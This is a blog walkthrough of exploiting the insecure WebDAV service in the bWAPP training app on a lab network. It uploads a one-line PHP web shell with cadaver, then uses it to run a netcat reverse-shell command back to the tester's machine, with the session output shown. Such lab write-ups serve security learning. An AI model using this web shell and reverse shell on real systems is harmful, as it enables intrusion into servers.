Tuesday, February 4, 2020

bWAPP Webdav Exploitation

in bWAPP there is a section on Insecure WebDAV services. Our goal is to comprimise the server using only one tool.

http://192.168.56.101/webdav is the address to the webdav folder. We are going to use a tool called 'cadaver' to query webdav and upload a file to the remote server.

sam@ubuntu:~$ cadaver 
dav:!> help
Available commands: 
 ls         cd         pwd        put        get        mget       mput       
 edit       less       mkcol      cat        delete     rmcol      copy       
 move       lock       unlock     discover   steal      showlocks  version    
 checkin    checkout   uncheckout history    label      propnames  chexec     
 propget    propdel    propset    search     set        open       close      
 echo       quit       unset      lcd        lls        lpwd       logout     
 help       describe   about      
Aliases: rm=delete, mkdir=mkcol, mv=move, cp=copy, more=less, quit=exit=bye
dav:!>

dav:!> open http://192.168.56.101/webdav/
dav:/webdav/>
dav:/webdav/> ls
Listing collection `/webdav/': succeeded.
        Iron_Man.pdf                      543803  Nov  2  2014
        Terminator_Salvation.pdf          462949  Nov  2  2014
        The_Amazing_Spider-Man.pdf        544600  Nov  2  2014
        The_Cabin_in_the_Woods.pdf        526187  Nov  2  2014
        The_Dark_Knight_Rises.pdf         756522  Nov  2  2014
        The_Incredible_Hulk.pdf           618117  Nov  2  2014
        bWAPP_intro.pdf                  5010042  Nov  2  2014
dav:/webdav/>
dav:/webdav/> put
The `put' command requires 1 argument:
  put local [remote] : Upload local file
dav:/webdav/>

We can create a simple php shell '<?php echo system($_GET['cmd']);?>' and save it as '1.php'. 

dav:/webdav/> put 1.php 1.php
Uploading 1.php to `/webdav/1.php':
Progress: [=============================>] 100.0% of 34 bytes succeeded.
dav:/webdav/> ls
Listing collection `/webdav/': succeeded.
        Iron_Man.pdf                      543803  Nov  2  2014
        Terminator_Salvation.pdf          462949  Nov  2  2014
        The_Amazing_Spider-Man.pdf        544600  Nov  2  2014
        The_Cabin_in_the_Woods.pdf        526187  Nov  2  2014
        The_Dark_Knight_Rises.pdf         756522  Nov  2  2014
        The_Incredible_Hulk.pdf           618117  Nov  2  2014
        bWAPP_intro.pdf                  5010042  Nov  2  2014
        1.php                             34  Feb  3 23:25
dav:/webdav/>

After that we can run shell commands via our url: http://192.168.56.101/webdav/1.php?cmd=id.

We want a reverse connect back to us so we issue the command http://192.168.56.101/webdav/1.php?cmd=nc -e /bin/sh 192.168.56.1 8088 and wait for a connection on the other end. 

sam@ubuntu:~$ nc -nvlp 8088
Listening on [0.0.0.0] (family 0, port 8088)
Connection from 192.168.56.101 53129 received!
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
whoami
www-data
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@bee-box:/var/www/bWAPP/documents$

As you can see we got a sucessful connect back and have a shell we can work from,

www-data@bee-box:/var/www/bWAPP/documents$ ls

1.php     The_Amazing_Spider-Man.pdf  The_Incredible_Hulk.pdf
Iron_Man.pdf    The_Cabin_in_the_Woods.pdf  bWAPP_intro.pdf
Terminator_Salvation.pdf  The_Dark_Knight_Rises.pdf
www-data@bee-box:/var/www/bWAPP/documents$
at

No comments:

Post a Comment

Subscribe to: Post Comments (Atom)

Exploiting Weak WEBDAV Configurations

The server we are going to audit has the following fingerprint. 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) Next we need t...

  • Enumerating SNMP Servers with NMAP
    NMAP gives you the ability to use scripts to enumerate and exploit remote host with the use of the NMAP Scripting Engine. Today we will be ...
  • Exploring POP3 Servers
    Scanning the remote host We can use NMAP to scan the remote host and run enumeration scripts against the POP3 server. root@asus:~/unix% ...
  • Enumerating SMTP Servers with NMAP
    NMAP gives you the ability to enumerate SMTP service with some scripts from the NMAP Scripting Enigne. These scripts will produce some gene...
  • Testing LDAP servers with examples
    Today we are going to be attacking the remote service LDAP. The only thing we need is an IP Address so lets ping our host to verify its up ...
  • Enumerating UNIX usernames
    Sometimes you may come across a situation where all you have from your OSINT phase is a list of first and last names. you can use pre-built...
  • bWAPP CSRF
    CSRF (Change Password) The first challenge is the change password CSRF. Our goal is to successfully change the users password with out log...
  • Metasploitable II: Samba Shares
    Lets first start off with an nmap scan of the remote host. root@ubuntu:~# nmap -p 139,445 -sV -sC 192.168.56.101 Starting Nmap 7.60 ( ht...
  • DVWA: File Upload
    Our goal is to exploit the weakness in file upload checking and obtain a remote system shell on the host. We start off with the security b...
  • bWAPP XSS Injections
    Cross-site-Scripting - Reflected (GET) Payload: <script>alert(1)</script> Cross-site-Scripting - Reflected (POST) Payload:...
  • bWAPP Remote & Local File Inclusion (RFI/LFI)
    In bWAPP There is a module for RFI and LFI injections. Our goal is to exploit these vulnerabilities and get local access to the remote mac...